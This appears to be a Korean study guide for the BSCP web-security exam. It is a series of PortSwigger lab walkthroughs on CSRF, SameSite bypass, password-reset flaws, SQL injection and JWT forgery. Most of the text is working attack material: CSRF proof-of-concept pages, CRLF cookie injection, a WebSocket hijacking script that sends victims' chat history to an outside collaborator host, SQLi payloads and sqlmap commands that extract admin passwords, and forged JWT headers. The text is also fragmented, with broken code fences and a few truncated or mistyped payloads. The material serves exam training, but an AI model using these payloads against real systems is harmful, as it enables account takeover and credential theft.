referer헤더를 변경하면 응답에Invalid referer header가 표시되며, 이는 CSRF 취약점을 식별합니다. 익스플로잇 서버의 CSRF PoC의 일부로<meta name="referrer" content="no-referrer">를 사용하면 이 제어를 우회할 수 있습니다. 이는 익스플로잇 서버가referer헤더 없이 피해자에게 익스플로잇을 전달하도록 지시합니다.```html

PortSwigger Lab: CSRF where Referer validation depends on header being present
식별: 토큰이 비세션 쿠키에 연결되지 않은 CSRF 취약점을 식별하려면 csrfkey 쿠키를 변경하고 요청이 거부되는 결과를 확인하세요. 검색 매개변수에서 사용자가 제공한 입력을 포함하는 LastSearchTerm 쿠키 값을 관찰하세요.

검색 기능에는 CSRF 보호 기능이 없으므로, 아래 페이로드를 생성하여 응답에 줄바꿈 문자
%0d%0a를 주입해 새 쿠키 값을 설정하고, 이를 사용하여 피해자 사용자의 브라우저에 쿠키를 주입하세요.``` /?search=test%0d%0aSet-Cookie:%20csrfKey=CurrentUserCSRFKEY%3b%20SameSite=None
>CSRF POC를 생성하고, **auto-submit** 스크립트를 포함하는 옵션을 활성화한 다음 **Regenerate**를 클릭합니다. **auto-submit** 스크립트 코드 블록을 제거하고 대신 다음을 추가한 뒤, ```history.pushState``` 스크립트 코드를 body 헤더 아래에 배치합니다. IMG SRC 태그의 **onerror**가 대신 CSRF POC를 제출합니다.```
<img src="https://TARGET.net/?search=test%0D%0ASet-Cookie:%20csrfKey=CurrentUserCSRFKEY;%20SameSite=None" onerror="document.forms[0].submit()">
BSCP 시험 중에는 이메일 변경 값을 익스플로잇 서버 [email protected] 이메일 주소로 설정하십시오. 그런 다음 재설정 기능으로 관리자 비밀번호를 변경할 수 있습니다.

아래 CSRF PoC 코드에서 숨겨진 csrf 값은 이메일 변경 기능으로 생성된 값이고,
img src의 csrfkey 값은 피해자에게 제공된 자격 증명으로 로그인하여 얻은 피해자의 값입니다. 시험에서는 확실하지 않지만 실제 환경에서는 수행해야 할 테스트입니다.```html
대상에서 CSRF 키 토큰이 쿠키 값에 중복되어 있음을 확인합니다. 또 다른 지표는
LastSearchTerm쿠키가 검색된 값을 포함한다는 것입니다.%0d%0a를 포함하는 검색 값을 전달하면 줄 끝 및 새 줄 문자를 주입하여 새로운 CSRF 쿠키와 값을 생성할 수 있습니다.

익스플로잇 코드의
img src태그에서 csrf에 대한 쿠키를 fake로 설정합니다.```html
PortSwigger Lab: 쿠키에 토큰이 중복된 CSRF
csrf매개변수의 값을 변경하면 이메일 변경 요청이 거부됩니다. CSRF 토큰을 삭제하면 이메일 변경 요청이 수락되며, 이는 토큰 존재 여부에 대한 검증이 취약함을 나타냅니다.
``` 익스플로잇 서버에 호스팅된 CSRF PoC 페이로드:```html
PortSwigger Lab: 토큰 검증이 토큰 존재 여부에 의존하는 CSRF
isloggedin 이름을 가진 쿠키가 식별되면, 관리자 비밀번호 변경 POST 요청이 악용될 수 있습니다.
낮은 권한의 사용자로 로그인한 상태에서 username 매개변수를 administrator로 변경합니다.
CSRF 토큰은 사용자 세션에 연결되어 있지 않습니다.```html POST /refreshpassword HTTP/1.1 Host: TARGET.net Cookie: session=%7b%22username%22%3a%22carlos%22%2c%22isloggedin%22%3atrue%7d--MCwCFAI9forAezNBAK%2fWxko91dgAiQd1AhQMZgWruKy%2fs0DZ0XW0wkyATeU7aA%3d%3d Content-Length: 60 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: https://TARGET.net Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/; X-Forwarded-Host: EXPLOIT.net X-Host: EXPLOIT.net X-Forwarded-Server: EXPLOIT.net Referer: https://TARGET.net/refreshpassword Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close
csrf=TOKEN&username=administrator

### CSRF 방어 없음
>이메일 변경 기능에 대한 방어가 없는 대상은 관리자 역할로의 권한 상승을 허용할 수 있습니다. 시험에서 익스플로잇 서버의 `[email protected]` 이메일 주소로 이메일을 변경하면 공격자가 관리자 사용자의 비밀번호를 변경할 수 있어 권한 상승으로 이어질 수 있습니다.
>시험에는 활성 사용자가 ***하나***만 있으며, 이전 단계가 캐시 포이즈닝을 수행하거나 `Deliver to Victim` 기능을 통한 피싱 공격을 수행하여 활성 사용자가 링크를 클릭하도록 요구하지 않는 공격으로 완료된 경우, CSRF 변경 익스플로잇을 사용할 수 있습니다.

[PortSwigger Lab: 방어 기능이 없는 CSRF 취약점](https://portswigger.net/web-security/csrf/lab-no-defenses)
### SameSite Strict 우회
>라이브 채팅 기능에서 `GET /chat HTTP/2` 요청이 예측 불가능한 토큰을 사용하지 않는다는 것을 알 수 있습니다. 이는 [SameSite](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions) 쿠키 제한을 우회할 수 있는 경우, 가능한 [사이트 간 WebSocket 하이재킹](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking)(CSWSH) 취약점을 ***식별***할 수 있습니다.
>CSWSH 취약점을 ***식별***하기 위해 익스플로잇 서버에 POC 페이로드를 호스팅하세요.```
<script>
var ws = new WebSocket('wss://TARGET.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
SameSite=Strict가 세션 쿠키에 설정되어 있으며, 이는 브라우저가 XSS 교차 사이트 요청에 이러한 쿠키를 포함하지 못하게 합니다. 우리는cms-하위 도메인으로의 스크립트 및 이미지 추가 요청에서Access-Control-Allow-Origin헤더를 식별합니다.
이cms-CDN 하위 도메인으로 이동한 다음 임의의 사용자 이름 입력이 반영되는 것을 식별하여, 이를 반사형 XSS 취약점으로 확인했습니다.
cms 반사형 XSS SameSite 우회``` https://cms-TARGET.net/login?username=%3Cscript%3Ealert%28%27reflectXSS%27%29%3C%2Fscript%3E&password=pass
>SameSite 제한을 우회하려면 아래의 전체 스크립트를 URL 인코딩하고, exploit 서버에 호스팅된 `cms-` 사용자 이름 로그인의 CDN 하위 도메인에 대한 입력으로 사용하십시오.```
<script>
var ws = new WebSocket('wss://TARGE.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
다음을 exploit server에 호스팅하고 피해자에게 전달하면, collaborator가 피해자의 비밀번호가 포함된 채팅 기록을 수신하는 순간 계정 탈취로 이어집니다.```
> 채팅 기록에는 피해자의 비밀번호가 포함되어 있다.

[PortSwigger Lab: sibling domain을 통한 SameSite Strict 우회](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-sibling-domain)
### SameSite Lax 우회
>`/social-login`을 방문하면 전체 OAuth 흐름이 자동으로 시작되는지 확인한다. OAuth 서버에 로그인된 세션이 아직 있는 경우, 이 모든 과정은 어떤 상호 작용 없이 이루어진다. 그리고 프록시 기록에서 OAuth 흐름을 완료할 때마다 이미 로그인되어 있더라도 대상 사이트가 새 세션 쿠키를 설정한다는 것을 알 수 있다.
>팝업 차단기를 우회하려면, 피해자가 페이지를 클릭하도록 유도하고 피해자가 클릭한 후에만 팝업이 열리게 하는 다음 JavaScript를 사용한다. 이 익스플로잇 JavaScript 코드는 먼저 피해자의 브라우저가 `/social-login`을 방문하도록 강제하여 세션을 새로 고친 다음, 잠시 후 이메일 변경 요청을 제출한다. 익스플로잇을 피해자에게 전달한다.```
<form method="POST" action="https://TARGET.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
</form>
<p>Click anywhere on the page</p>
<script>
window.onclick = () => {
window.open('https://TARGET.net/social-login');
setTimeout(changeEmail, 5000);
}
function changeEmail() {
document.forms[0].submit();
}
</script>
PortSwigger Lab: SameSite Lax bypass via cookie refresh
비밀번호 갱신 결함 로직
현재 비밀번호
시간에 민감한 비밀번호 토큰
애플리케이션의 비밀번호 갱신 기능에 결함이 있는 경우, 이 취약점을 악용하여 유효한 계정을 식별하거나 비밀번호 재설정 토큰을 획득할 수 있습니다. 이로 인해 유효한 사용자 계정을 식별하거나 권한 상승(privilege escalation)으로 이어질 수 있습니다.
이는 익스플로잇과 상호작용하기 위해 애플리케이션의 활성 사용자가 필요하지 않은 유형의 취약점이며, 사용자가 링크를 클릭하거나 상호작용할 필요도 없습니다. BSCP 시험에서는 애플리케이션의 활성 사용자가 필요하지 않은 취약점에 유의하세요. 이는 시험의 다음 단계에서 예를 들어 피해자에게 전송되는 기타 대화형 피싱 링크를 사용할 수 있음을 의미하기 때문입니다.
식별하세요.
/forgot-password페이지의source code에서 username은 숨겨진 필드입니다.

URL과 요청 본문 모두에서
temp-forgot-password-token매개변수를 삭제하여 POST 요청을 악용하세요. username 매개변수를carlos로 변경하세요.

PortSwigger Lab: Password reset broken logic
식별하세요. 비밀번호 변경(Change password)은 새 비밀번호를 설정할 때
current-password매개변수가 필요하지 않으며, 비밀번호가 변경될 사용자는 POST 매개변수username=administrator에 기반합니다.
PortSwigger 랩에서는wiener:peter자격 증명을 제공하며, 이는 시험 1단계에서 낮은 수준의 사용자 접근 권한을 획득한 상황을 시뮬레이션합니다. 시험에서 이 비밀번호 재설정 취약점은 활성 사용자의 상호작용 없이 관리자로 권한을 상승시킬 수 있는 방법의 예시입니다.
csrf토큰은 단일 무작위 1회용 값이므로/my-account/change-password요청을 가로채서username=administrator로 설정하고current-password매개변수를 제거하세요.

PortSwigger Lab: Weak isolation on dual-use endpoint
대상 사이트는 타임스탬프를 사용하여 비밀번호 재설정 토큰 URL의 해시를 생성합니다.
서로 다른 두 사용자에 대해 동시에 강제 비밀번호 재설정 요청을 병렬로 전송하면,
백엔드가 재설정 토큰을 생성하는 데 동일한 타임스탬프를 사용하므로 중복되어 일치하는 토큰이 생성됩니다.
우리 사용자
carlos는 이메일로 재설정 토큰 URL을 받은 다음, URL에서 이름을 대상 피해자 사용자administrator와 일치하도록 편집합니다.

블라인드 시간 지연
블라인드 SQLi
표시 없는 블라인드 SQLi
조건부 응답 블라인드 SQLi
Oracle
SQLMAP
Oracle 이외의 수동 SQLi
시각적 오류 기반 SQLi
HackTheBox CPTS SQLi 기초
오류 기반(Error based) 또는 블라인드 SQL 인젝션 취약점을 통해 애플리케이션의 SQL 쿼리를 사용하여 데이터베이스에서 데이터나 로그인 자격 증명을 추출할 수 있습니다. SQLMAP은 익스플로잇을 신속하게 진행하고 민감한 정보를 검색하는 데 사용됩니다.
식별 방법: 웹 매개변수나 추적 쿠키에 큰따옴표(") 또는 작은따옴표(')를 추가하여 SQL 구문이 깨져 오류 메시지 응답이 발생하면 SQL 인젝션이 양성으로 식별된 것입니다. 오류나 조건부 메시지가 관찰되지 않으면 블라인드 시간 지연 페이로드를 테스트하세요.

시간 지연을 이용한 블라인드 SQL 인젝션은 식별하기 까다롭습니다. 퍼징에는 OSCP에서 OffSec이 가르친 것처럼 합리적인 추측이 필요합니다. 아래 페이로드는 SQL 인젝션이 양성으로 식별되면 조건부 CASE를 수행하여 응답을 10초 지연시킵니다.
SQLi 취약점을 식별하세요. Burp 실전 시험 2단계에서는 고급 검색 필터가
PostgreSQL에 취약합니다. 실전 시험의 고급 검색에서 취약점을 식별하고 악용하는 데SQLMAP이 까다롭다는 것을 알게 되었습니다. 여기 실전 시험에서의 SQL 인젝션 시간 지연 수동 악용.```SQL ;SELECT CASE WHEN (1=1) THEN pg_sleep(7) ELSE pg_sleep(0) END--
>[URL 인코딩된](https://www.urlencoder.org/) `PostgreSQL` 페이로드.```SQL
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END--
관리자 사용자의 비밀번호에 문자가 몇 개 있는지 확인합니다. 이렇게 하려면
>1조건 확인 뒤의 숫자를 증가시키세요.```SQL ;SELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

>CLUSTER Bomb 공격을 사용하여 비밀번호의 문자 위치별 각 순열에 대해 공격을 다시 실행하고, 문자 값을 결정합니다.```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
CLUSTER bomb 공격 유형을 두 개의 페이로드와 함께 사용하세요. 첫 번째 페이로드는 비밀번호 길이
1..20을 위한 것이고, 두 번째 페이로드는 문자a..z와 숫자0..9를 사용합니다. Intruder 공격 결과에 Response Received 열을 추가하여 정렬한 다음,10초 이상의 지연을 긍정적 응답으로 관찰하세요.

PortSwigger Lab: 시간 지연 및 정보 검색을 이용한 블라인드 SQL 인젝션
Burp 연습 시험 2단계에서는 SQL 인젝션이 작은따옴표
'대신 세미콜론;을 사용하여 이스케이프되며, 이를 URL 인코딩하여%3B로 전달합니다.```SQL %3BSELECT+pg_sleep(7)--

>Intruder CLUSTER bomb 공격을 사용하면 아래 페이로드의 두 페이로드 위치를 사용하여 단 한 번의 공격으로 비밀번호를 추출할 수 있습니다.```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END+FROM+users--
Burp Practice 시험 관리자 포털의 3단계는 안전하지 않은 역직렬화 쿠키 값의 악용을 요구합니다.
대상은 Blind SQL 악용 쿼리를 사용한 대역 외(Out of band) 데이터 유출에 취약합니다. 이 경우 trackingID 쿠키입니다. 아래는 SQL 인젝션과 XXE 페이로드를 결합하여 취약점을 악용하고 관리자 비밀번호를 DNS 요청으로 collaborator 서비스에 전송하는 조합입니다.```sql TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>+%25remote%3b]>'),'/l')+FROM+dual--

[PortSwigger 랩: 대역 외 데이터 유출을 이용한 블라인드 SQL 인젝션](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration)
>위의 SQL 페이로드는 이 [PortSwigger 랩: 조건부 오류를 이용한 블라인드 SQL 인젝션](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors) 챌린지의 관리자 비밀번호를 추출하는 데에도 사용할 수 있습니다.
### 징후가 없는 블라인드 SQLi
>```trackingid``` 쿠키 또는 검색 매개변수 `/search_advanced?searchTerm='`의 끝에 작은따옴표를 넣으면 `500 Internal Server Error` 응답이 발생할 수 있습니다. 합리적 추측을 바탕으로 아래의 블라인드 SQLi 페이로드를 사용하고 기본 XXE 기술과 결합하면, 이는 협업 서버에 호출하지만 데이터는 유출되지 않습니다.```sql
TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//OASTIFY.COM/">+%25remote%3b]>'),'/l')+FROM+dual--

참고용 XML이 포함된 추가 SQLi 페이로드로,
||SQL 연결 연산자를 사용하여 두 문자 데이터 유형 또는 숫자 데이터 유형으로 평가되는 두 표현식을 연결하고 일부 난독화를 수행합니다.``` '||(select extractvalue(xmltype('%fuzz;]>'),'/l') from dual)||'
[OAST - 대역 외 애플리케이션 보안 테스트](https://portswigger.net/burp/application-security-testing/oast)
[PortSwigger 랩: 대역 외 상호작용을 통한 블라인드 SQL 인젝션](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band)
### 블라인드 SQLi 조건부 응답
>이 블라인드 SQL 인젝션은 응답의 작은 메시지 차이로 ***식별됩니다***. 유효한 true SQL 쿼리를 보내면 응답에 ```Welcome back``` 문자열이 포함됩니다. 유효하지 않은 false SQL 쿼리 문은 응답의 조건부 메시지를 포함하지 않습니다.```
' AND '1'='1
조건부 메시지가 응답에 없음을 식별하기 위한 거짓 SQL 문.``` ' AND '1'='2
>관리자 사용자의 비밀번호에 몇 개의 문자가 있는지 확인합니다. 이렇게 하려면 intruder **Settings tab**의 "Grep - Match" 섹션에서 SQL 문 값을 and로 변경하고, 목록의 기존 항목을 모두 지운 다음, ***identify*** true 조건에 ```Welcome back``` 값을 추가합니다.```
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
다음 단계는 각 위치의 문자를 테스트하여 해당 값을 결정하는 것입니다. 이 과정은 훨씬 더 많은 수의 요청을 수반합니다.``` ' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a

>대안으로 **CLUSTER Bomb** 공격을 사용하고 **두** 개의 페이로드 위치를 설정합니다. 첫 번째는 숫자 ```1..20```의 페이로드를 사용하는 문자 위치이고, 두 번째는 알파벳과 숫자 문자를 사용하는 위치로, 페이로드 조합의 각 순열을 반복합니다.

[PortSwigger Lab: 조건부 응답을 통한 블라인드 SQL 인젝션](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses)
### Oracle
>`category` 매개변수 값 끝에 **작은따옴표**를 추가하고 `500 Internal Server Error` 응답을 관찰하여 SQL 인젝션을 식별했습니다.
>Oracle 데이터베이스에서 테이블 목록을 검색합니다:```
'+UNION+SELECT+table_name,NULL+FROM+all_tables--
테이블의 컬럼 세부 정보를 검색하는 Oracle 페이로드입니다.``` '+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_XXX'--
>Users_XXX 테이블에서 사용자 이름과 비밀번호를 검색하는 Oracle 페이로드.```
'+UNION+SELECT+USERNAME_XXX,+PASSWORD_XXX+FROM+USERS_XXX--
PortSwigger Lab: Oracle 데이터베이스 내용을 나열하는 SQL 인젝션 공격
PortSwigger Practice Exam APP에서 작은따옴표를 추가하여 고급 검색 기능의 SQLi를 식별했으며, 응답 결과는
HTTP/2 500 Internal Server Error였습니다.
다음은 단순한 보호 WAF 메커니즘을 우회하는 SQLMAP 예제에 대한 제 HackTheBox CPTS 학습 노트입니다. SQLMAP Essentials - Cases
SQLMAP 버전
1.7.2#stable및1.6으로 몇 가지 테스트를 수행한 결과, 둘 다 PortSwigger Practice Exam을 악용할 수 있음을 발견했습니다. 사용된 매개변수에 대한 참조는 bmdyy가 SQLMAP을 사용하여 Practice Exam을 수행하는 과정을 참조하세요.
저는 연습 시험을 치렀고 아래 페이로드를 사용하여 SQLi를 악용할 수 있었습니다.``` sqlmap -u 'https://TARGET.net/filtered_search?SearchTerm=x&sort-by=DATE&writer=' \ -H 'authority: 0afd007004402dacc1e7220100750051.web-security-academy.net'
-H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7'
-H 'accept-language: en-US,en;q=0.9'
-H 'cookie: _lab=YesYesYesYes; session=YesYesYesYes'
-H 'referer: https://TARGET.net/filtered_search?SearchTerm=x&sort-by=DATE&writer='
-H 'sec-fetch-dest: document'
-H 'sec-fetch-mode: navigate'
-H 'sec-fetch-site: same-origin'
-H 'sec-fetch-user: ?1'
-H 'upgrade-insecure-requests: 1'
-H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36'
-p 'sort-by' -batch --flush-session --dbms postgresql --technique E --level 5

>이는 또한 시험의 고급 검색 필터에서 민감한 오류 기반 시간 지연 SQL 인젝션을 ***식별***하고 데이터를 추출하는 SQLMAP 사용의 좋은 시작점입니다.```
sqlmap -v -u 'https://TARGET.NET/search?term=x&organizeby=DATE&journalist=&cachebust=1656138093.57' -p "term" --batch --cookie="_lab=YESYESYESYES; session=YESYESYESYES" --random-agent --level=2 --risk=2

SQLMAP DBS로 데이터베이스를 가져옵니다.``` -p 'sort-by' -batch --dbms postgresql --technique E --level 5 --dbs
>`public` 데이터베이스에서 식별된 테이블을 SQLMAP로 덤프합니다.```
-p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public --tables
계속해서 SQLMAP
E기법을 사용하여users콘텐츠를 가져옵니다.``` -p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public -T users --dump
### Non-Oracle 수동 SQLi
>SQL 인젝션 UNION 공격, 쿼리가 반환하는 **열의 개수**를 확인합니다.```SQL
'+UNION+SELECT+NULL,NULL--
반환된 열이 두 개인 것으로 확인되었습니다. 추출된 정보를 반영하는 데 사용할
text가 포함된 열을 찾습니다.```SQL '+UNION+SELECT+'fuzzer',NULL--
>다음으로 데이터베이스의 **테이블** 목록을 ***식별***합니다.```SQL
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
선택 사항: 다른 테이블에서 데이터를 검색하려면 페이로드 아래의 코드를 사용하여
users테이블의 내용을 검색하세요.```SQL '+UNION+SELECT+username,+password+FROM+users--
>***users*** 테이블의 **컬럼** 이름을 조회하세요.```SQL
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_XXXX'--
마지막 단계는 username 및 passwords 열에서 데이터를 덤프하는 것입니다.```SQL '+UNION+SELECT+username_XXXX,+password_XXXX+FROM+users_XXXX--
>**추가:** 텍스트 데이터를 추출할 열이 하나만 있는 경우, 데이터베이스의 SQL 구문 ```||``` 문자를 사용하여 여러 값을 단일 반사 출력 필드에 연결하십시오.```
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

PortSwigger 랩: SQL 인젝션 공격, 비-Oracle 데이터베이스에서 데이터베이스 내용 나열
TrackingId쿠키 값의 끝에 작은따옴표를 추가하면 응답의 메시지를 기반으로 SQL 인젝션을 식별하고 확인할 수 있습니다.

두 페이로드는 administrator 레코드가 첫 번째 레코드임을 검증한 다음, 데이터베이스의
user테이블에서username및password열을 통해 Administrator 계정의 비밀번호를 검색합니다.``` TrackingId=x'||CAST((SELECT username FROM users LIMIT 1) AS int)--;
TrackingId=x'||CAST((SELECT password FROM users LIMIT 1) AS int)--;
> 쿠키 값 길이 제한으로 인해 `limit 1`을 사용하여 페이로드를 줄였고, 실제 쿠키 값은 문자 `x` 하나로 대체되었습니다. SQL 인젝션은 [CAST 함수](https://portswigger.net/web-security/sql-injection/blind)를 사용했습니다.

[PortSwigger Lab: Visible error-based SQL injection](https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based)
-----
## JWT
[JWT bypass via JWK](#manual-sqli)
[JWT Weak secret](#jwt-weak-secret)
[JWT kid header](#jwt-kid-header)
[JWT arbitrary jku header](#jwt-arbitrary-jku-header)
> JSON 웹 토큰(JWT)은 암호화 서명된 JSON 데이터를 전송하는 데 사용되며, 인증, 세션 처리 및 접근 제어의 일부로 사용자에 대한 정보("claims")를 전송하는 데 가장 일반적으로 사용됩니다.
### JWT bypass via JWK
> 버프 스캐너는 서버의 취약점을 ***식별***합니다: **JWT 자체 서명 JWK 헤더가 지원됨**. 제공된 키 소스에 대한 검사 실패로 인해 이를 악용할 수 있습니다.
> **jwk (JSON Web Key)** - 키를 나타내는 내장 JSON 객체를 제공합니다.
> jwk 헤더 주입을 통한 인증 우회 익스플로잇 단계:
1. 새 RSA 키
2. 요청의 JWT 페이로드에서 **sub 클레임** 값을 administrator로 변경
3. Attack을 선택한 다음, 새로 생성된 RSA 키로 **Embedded JWK**를 선택
4. 이제 ```jwk``` 매개변수에 우리의 공개 키가 포함된 것을 확인할 수 있으며, 요청을 보내면 관리자 포털에 접근할 수 있습니다.

[PortSwigger Lab: JWT authentication bypass via jwk header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection)
### JWT Weak secret
> `hashcat`을 사용하여 약한 JWT 서명 키를 브루트포스합니다.```bash
hashcat -a 0 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list
Hashcat 결과는 비밀 키를 제공하며, 이를 사용하여 위조된 서명 키를 생성합니다.
PortSwigger JWT 인증 우회(약한 서명 키 사용)
세션 처리에 사용되는 JWT 기반 메커니즘입니다. 서버는 서명을 검증하기 위해 JWT 헤더의
kid매개변수를 사용하여 파일 시스템에서 해당 키를 가져옵니다.
새 **대칭 키(Symmetric Key)**를 생성하고, JWT 서명에 사용할k속성을 base64 null 바이트AA==로 대체합니다.
kid(키 ID) - 서버가 선택할 수 있는 여러 키가 있는 경우 올바른 키를 식별하는 데 사용할 수 있는 ID를 제공합니다.
JWS``` { "kid": "../../../../../../../dev/null", "alg": "HS256" }
>페이로드```
{
"iss": "portswigger",
"sub": "administrator",
"exp": 1673523674
}

PortSwigger Lab: kid 헤더 경로 탐색을 통한 JWT 인증 우회
Burp 스캐너는 수동 삽입 지점에서 발견된 JWT의
jku헤더를 애플리케이션이 신뢰한다고 명시하는 취약점을 식별했습니다. 이 헤더에 제공된 임의의 URL에서 공개 키를 가져와 서명을 검증하는 데 사용하려고 시도했습니다.
jku (JSON Web Key Set URL) - 서버가 올바른 키가 포함된 키를 가져올 수 있는 URL을 제공합니다.
악성 JWK Set을 업로드한 다음 JWT를 수정하고 서명하는 익스플로잇 단계:
{ "keys": [ ] }를 생성합니다.[ paste ] 사이에 넣습니다.kid 값을 /admin 요청 JWT 헤더의 kid 값으로 복사합니다.jku 매개변수를 익스플로잇 서버 URL https://exploit-server.net/exploit 값으로 설정합니다.sub 클레임 값을 administrator로 변경합니다./admin 요청에서 JSON Web Token 탭 하단의 Sign을 클릭합니다.Sign 옵션에서 이전 단계에서 생성한 RSA signing key를 선택합니다.
익스플로잇 서버가 JWK 공개 키 콘텐츠를 호스팅합니다.```JSON { "keys": [ { "kty": "RSA", "e": "AQAB", "kid": "3c0171bd-a8cf-45b5-839f-645fa2a57009", "n": "749eJdyiwAYYVV F8tsQ_zu23DhdoePay3JlYXmza9DWDw" } ]}
